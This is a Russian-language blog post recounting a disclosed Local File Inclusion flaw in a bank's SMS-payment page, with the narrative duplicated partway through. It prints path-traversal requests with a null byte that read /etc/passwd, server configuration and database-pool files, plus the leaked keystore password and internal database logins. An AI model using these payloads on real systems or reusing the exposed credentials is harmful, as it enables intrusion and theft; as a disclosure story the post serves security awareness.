Топики о ловли хакеров заставили меня написать этот пост.
Хочу поделиться с вами историей, которая случилась со мной несколько лет назад.
Сразу скажу, мое увлечение — безопасность веб-приложений.
Случайно гуляя по интернету, мой друг нашел сайт для отправки бесплатных смс на номера украинских операторов. Там мы нашли небольшую уязвимость, связанную с обходом теста Тьюринга (каптчи).
Так как я и мой друг любим искать уязвимости, мы играли в игру, смыслом которой, кто из нас быстрей обойдет каптчу.
Но сегодня рассказ не об этом, а о том, что же было дальше нами обнаружено.
Однажды, мой друг, просматривая исходный код страницы сайта для отправки бесплатных смс обнаружил интересный HTML код:
Ссылка, которая по логике должна скачивать файл на компьютер была для нас очень даже интересной.
Не прошло и 5 минут как мы обнаружили уязвимость Local File Inclusion
Уязвимость заключалась в следующей ссылке:
С помощью этой уязвимости можно читать локальные файлы прямо в браузере.
Мы сделали запрос к серверу на несуществующий файл, и вот что получили:
Запрос на url:
Ответ сервера был примерно таким:
Честное слово, я тогда первый раз услышал о Resin'е
А Resin — это высокопроизводительный сервер приложений включающий в себя такие черты как масштабируемость, и распределение нагрузки.
Информация о продукте, которую нам удалось узнать в Википедии на то время:
После скачиванию этого ПО, мы приступили к его изучению.
И так, структура папок программного обеспечения Resin:
А теперь давайте вернемся к уязвимости.
Начнём с классики:
По ссылке hackbank.ua/test?xslt_url=../../../../../../etc/passwd
получаем такой вывод:
Потом мы начали искать, где локально хранится папка /conf сервера Resin
И нашли, довольно быстро.
Конфиг — это XML файл. Который был доступен по ссылке hackbank.ua/test?xslt_url=../../../../../../conf/resin.conf%00
Далее смотрим исходный код полученного файла.
Здесь все логи веб-сервера:
Там ничего интересного мы не нашли. Но мы пошли дальше :)
Файл ../../../../../../conf/c2b-db-pool.xml%00:
Файл ../../../../../../conf/db-pool.xml%00:
Угадайте что это? Правильно, это доступ к другим серверам внутренней сети банка :)
На следующий день, мы написали письмо, описали все уязвимости, которые нам удалось найти. И отправили письмо на почту банка. Через 3 недели уязвимости присутствовали. Мы отправили ещё раз письмо, и через неделю на радость нам уязвимости починили.
Этой статьей мы не хотели кого-то обидеть, просто хотим донести миру, что защищенных систем не бывает. Нанимайте профессионалов, которые будут делать вам аудит информационных систем.
По всем вопросам обращайтесь на vadim@g-sg.net
Спасибо за внимание!
UPD. Все ошибки в тексте пишите в приватные сообщения. Спасибо!
Хочу поделиться с вами историей, которая случилась со мной несколько лет назад.
Сразу скажу, мое увлечение — безопасность веб-приложений.
Случайно гуляя по интернету, мой друг нашел сайт для отправки бесплатных смс на номера украинских операторов. Там мы нашли небольшую уязвимость, связанную с обходом теста Тьюринга (каптчи).
Так как я и мой друг любим искать уязвимости, мы играли в игру, смыслом которой, кто из нас быстрей обойдет каптчу.
Но сегодня рассказ не об этом, а о том, что же было дальше нами обнаружено.
Однажды, мой друг, просматривая исходный код страницы сайта для отправки бесплатных смс обнаружил интересный HTML код:
<A HREF="#" onClick="javascript:window.open('https://hackbank.ua/test.php?code=MOBILE&state=2&xslt_url=service_host.xsl', ' 'quickpay','toolbar=0,status=0,menubar=0,scrollbars=0,width=650,height=400',false);" CLASS="header"><IMG SRC="www.sms1.ua/img/topupeasy.jpg" WIDTH="82"
HEIGHT="34" ALT="Пополняй легко!" BORDER="0" VSPACE="0"></A>
Ссылка, которая по логике должна скачивать файл на компьютер была для нас очень даже интересной.
Не прошло и 5 минут как мы обнаружили уязвимость Local File Inclusion
Уязвимость заключалась в следующей ссылке:
hackbank.ua/test.php?code=MOBILE&state=2&xslt_url=<local_file>
С помощью этой уязвимости можно читать локальные файлы прямо в браузере.
Мы сделали запрос к серверу на несуществующий файл, и вот что получили:
Запрос на url:
hackbank.ua/test?&xslt_url=0
Ответ сервера был примерно таким:
500 Servlet Exception
...........................
Resin-3.0.s060216 (built Thu, 16 Feb 2006 09:17:50 PST)
Честное слово, я тогда первый раз услышал о Resin'е
А Resin — это высокопроизводительный сервер приложений включающий в себя такие черты как масштабируемость, и распределение нагрузки.
Информация о продукте, которую нам удалось узнать в Википедии на то время:
Логотип компании Caucho Technology, Inc.
Тип Сервер приложений
Разработчик Caucho Technology, Inc.
ОС Кроссплатформенное программное обеспечение
Текущая версия 3.1.1 — май 2007
Лицензия GPL Собственническое ПО
Сайт www.caucho.com (англ.)
Информация в Википедии
После скачиванию этого ПО, мы приступили к его изучению.
И так, структура папок программного обеспечения Resin:
¦ configure
¦ httpd.exe
¦ LICENSE
¦ Makefile.in
¦ README
¦ setup.exe
¦
+---automake
¦ config.guess
¦ config.sub
¦ install-sh
¦ ltmain.sh
¦ missing
¦
+---bin
¦ httpd.sh
¦
+---conf
¦ app-default.xml
¦ development.conf
¦ fine.conf
¦ minimal.conf
¦ password.xml
¦ resin-3_1.conf
¦ resin-admin.xml
¦ resin.conf
¦
+---contrib
¦ init.resin-iptables
¦ init.resin.in
¦
+---lib
¦ activation.jar
¦ eclipse-compil
А теперь давайте вернемся к уязвимости.
Начнём с классики:
По ссылке hackbank.ua/test?xslt_url=../../../../../../etc/passwd
получаем такой вывод:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
ident:x:100:101::/home/ident:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Servic
Потом мы начали искать, где локально хранится папка /conf сервера Resin
И нашли, довольно быстро.
Конфиг — это XML файл. Который был доступен по ссылке hackbank.ua/test?xslt_url=../../../../../../conf/resin.conf%00
%00 — это null-byte, говорит веб-серверу, что это конец строки.
Далее смотрим исходный код полученного файла.
<?xml version="1.0" encoding="utf-8"?>
<resin xmlns:resin="caucho.com/ns/resin/core" xmlns="caucho.com/ns/resin">
<server>
<http port="1080"/>
<http port="10443">
<jsse-ssl>
<key-store-type>JKS</key-store-type>
<key-store-file>keys/hackbank.jks</key-store-file>
<password>fynbxfn</password>
<key-manager-factory>6645b</key-manager-factory>
<ssl-context>SSL</ssl-context>
</jsse-ssl>
</http>
<host id="" root-directory=".">
<access-log path="log/access.log" format="%h %l %u %t "%r" %s %b "%i" "%i"" rollover-period="1W"/>
<stderr-log path="log/stderr.log" timestamp="[%Y.%m.%d %H:%M:%S.%s] " rollover-period="1W"/>
<stdout-log path="log/stdout.log" rollover-period="1W"/>
<log path="log/server.log" timestamp="[%Y.%m.%d %H:%M:%S.%s] " rollover-period="1W"/>
<web-app id="/" document-directory="webapps/ROOT"/>
<ear-deploy path="deploy">
<ear-default ejb-server-jndi-name="java:comp/env/ejb">
<ejb-server jndi-name="java:comp/env/ejb"/>
</ear-default>
</ear-deploy>
<web-app-deploy path="webapps"/>
<resource-deploy path="deploy"/>
<web-app-deploy path="deploy"/>
</host>
<resin:import path="$/conf/db-pool.xml"/>
<resin:import path="$/conf/c2b-db-pool.xml"/>
<resin:import path="$/conf/db-pool-qp.xml"/>
<resin:import path="$/conf/hb-default.xml"/>
<resin:import path="$/conf/resin-status.xml"/>
</server>
<resin:import path="$/conf/resin-common.xml"/>
</resin>
Здесь все логи веб-сервера:
hackbank.ua/test?xslt_url=../../../../../../log/access.log
hackbank.ua/test?xslt_url=../../../../../../log/stderr.log
hackbank.ua/test?xslt_url=../../../../../../log/server.log
Там ничего интересного мы не нашли. Но мы пошли дальше :)
Файл ../../../../../../conf/c2b-db-pool.xml%00:
10.1.101.195:5000
-----------------
user : C2BServer
password : vsirfysy
10.1.100.105:5000
-----------------
user : C2BServer
password : lfktrbq,thtu
10.1.100.115:5000
----------------
user : jbkl
password :123456
Файл ../../../../../../conf/db-pool.xml%00:
10.1.101.51:5000
-------------------
user : е16_jag
password : u4BKoc7U5Edo
10.1.100.77:5000
-------------------
user : hskl
password : hsklhskl
10.1.99.49:4100
------------------
user : wbpfo_p424
password : aUKlOfcvT4YmAnk
10.1.99.82:5000
------------------
user : P24CVC
password : Login_4_P424CVC
Угадайте что это? Правильно, это доступ к другим серверам внутренней сети банка :)
На следующий день, мы написали письмо, описали все уязвимости, которые нам удалось найти. И отправили письмо на почту банка. Через 3 недели уязвимости присутствовали. Мы отправили ещё раз письмо, и через неделю на радость нам уязвимости починили.
Этой статьей мы не хотели кого-то обидеть, просто хотим донести миру, что защищенных систем не бывает. Нанимайте профессионалов, которые будут делать вам аудит информационных систем.
По всем вопросам обращайтесь на vadim@g-sg.net
* Внимание! Все ссылки, а также название банка изменены по соображениям анонимности *
Спасибо за внимание!
UPD. Все ошибки в тексте пишите в приватные сообщения. Спасибо!